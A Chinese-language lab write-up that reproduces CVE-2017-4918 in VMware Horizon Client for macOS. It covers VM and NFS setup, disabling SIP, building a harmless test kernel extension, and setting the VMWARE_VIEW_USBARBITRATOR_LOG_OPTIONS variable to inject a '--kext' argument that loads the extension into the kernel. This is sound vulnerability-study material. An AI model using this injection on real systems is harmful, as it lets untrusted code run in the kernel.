CVE-2017-4918 复现
一、物理机环境搭建
系统虚拟机镜像:OS X 10.11 El Capitan Retail
&& kali-linux-2021.1-installer-amd64
软件:VMware 15.0.3
&& unlocker
(用于解锁VMware对MacOS的支持)
&& VMware-Horizon-Client-4.4.0-5164329
&& XCode (用于生成驱动文件)
这里建议所有虚拟机全部安装英文版,避免不必要的输入法问题,中文问题。此外网络连接模式都默认选择 NAT,方便虚拟机通信。
[解锁方法](mkUnlocker: 适用于vmware 15.5的解除mac限制locker (gitee.com))
注意:先解锁,才能安装MacOS虚拟机。
MacOS虚拟机安装教程
[kali安装教程](图文详解在VMware Workstation 14 虚拟机上安装Kali Linux黑客专用系统-网络教程与技术 -亦是美网络 (yishimei.cn))
其他注意事项:
如图所示,在MacOS的安全和隐私中,先勾选Anywhere选项,这个在安装Vmtools之前会用到。
安全和隐私
二、cve简介
使用VMware-Horizon-Client-4.4.0-5164329
的环境变量加载一个IOKit类型的内核驱动。
[关于此漏洞介绍和复现的链接](CVE-2017-4918: Code Injection in VMware Horizon's macOS Client " #bogner.sh)
三、虚拟机环境搭建
1、MacOS
MacOS中安装 VMware-Horizon-Client-4.4.0-5164329.dmg
值得注意的是,在MacOS中,安装软件通常是拖拽图标,而不是Windows上的下一步,下一步。
适用于 Mac 的 VMware Horizon Client 安装和设置指南 - VMware Horizon Client for Mac 5.0
要点:安装完成后,注意启动远程USB服务。
MacOS中应用程序的菜单选项通常在桌面左上方,而不是像Windows一样在应用程序自身窗口的左上方。
软件
禁用 SIP System Integrity Protection,类似于Windows上的禁用驱动签名
虚拟机 按下 cmd+r
键盘的同时点击重新启动,进入进入恢复模式(这里的cmd在windows上对应的就是Win键)
然后选择实用工具(Utils),打开一个终端
# 禁用驱动签名
csrutil disable
# 重启
reboot
安装XCode X.X 根据你的虚拟机版本确定,下面时官方历史发布介绍的链接。
Xcode Releases | xcodereleases.com
上面网页中的Requires
就是系统版本要求。通常情况下AppStore里下载的都是最新版,且不符合系统要求,导致不能安装,需要注意的是安装软件必须要注册AppID苹果账号。
XCode后续用于写一个简单的内核驱动。
2、Kali
搭建NFS文件服务器
# 安装服务
apt-get install nfs-kernel-server
# 创建共享文件夹
mkdir /root/share
# 编辑配置文件
vim /etc/exports
增加如下内容
/root/share *(rw,insecure)
# 重启nfs服务
systemctl restart nfs-kernel-server
这里服务重启后,查看两台虚拟机的ip地址,通过ping测试是否能互相ping通,然后右键访达(Finder),选择 Connect to Server,填入nfs://Kali的ip地址//root/share
,点击连接(Connect ) 就可以看见共享文件夹了。
share
3、编译我的第一个驱动。
通过漏洞作者的文章,我们可以知道,应该创建一个IOKit 类型的驱动项目
driver
创建完成后可以置入如下代码到xxx.cpp文件中
code
/* add your code here */
#include <mach/mach_types.h>
#include <libkern/libkern.h>
kern_return_t kexp_start(kmod_info_t *ki,void*d);
kern_return_t kexp_stop(kmod_info_t *ki,void*d);
// 类似于DriverEntry
kern_return_t kexp_start(kmod_info_t *ki,void *d)
{
printf("LoadDriver success!\n");
return KERN_SUCCESS;
}
// 类似于DriverUnload
kern_return_t kexp_stop(kmod_info_t *ki,void *d)
{
return KERN_SUCCESS;
}
然后配置依赖库
点开Info.plist配置文件,点击加号,输入库的名称,后面跟上版本号。
编译后即可得到kexp.kext
将改驱动拷贝到linux下的共享目录下,紧接着在MacOS中开一个终端,导出一个环境变量。VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS
VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS="--kext /Volumes/share/kexp.kext -f"
export VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS
echo $VMWARE_VIEW_USBARBITRATOR_LOG_OPTIONS
# 运行漏洞软件
./Open\ VMware\ View\ Client\ Services
# 查看驱动是否加载
kextstat |grep kexp
最后可以看得驱动被加载到内核
result
最终效果如图所示
四、杂项
误删用户目录操作
Linux误删用户家(home)目录的恢复方法_rmkloveme-CSDN博客
可以先测试常规方式加载驱动,测试驱动是否存在问题。
sudo chown -R root:wheel /Users/
# 检测驱动文件存在的问题
kextutil -tn kexp
# 加载驱动
sudo kextload kexp.kext
# 卸载驱动
sudo kextunload kexp.kext
通过Console查看系统输出日志
syslog
五、我的困惑
可以看到,我在内核驱动里使用了printf
函数,但是MacOS 10.11.6的输出结果在哪里看呢?
10.11.6上无 log show
命令,console中也没发现kernel.log
。
嗯,对于MacOS的内核开发,有什么推荐的书籍吗?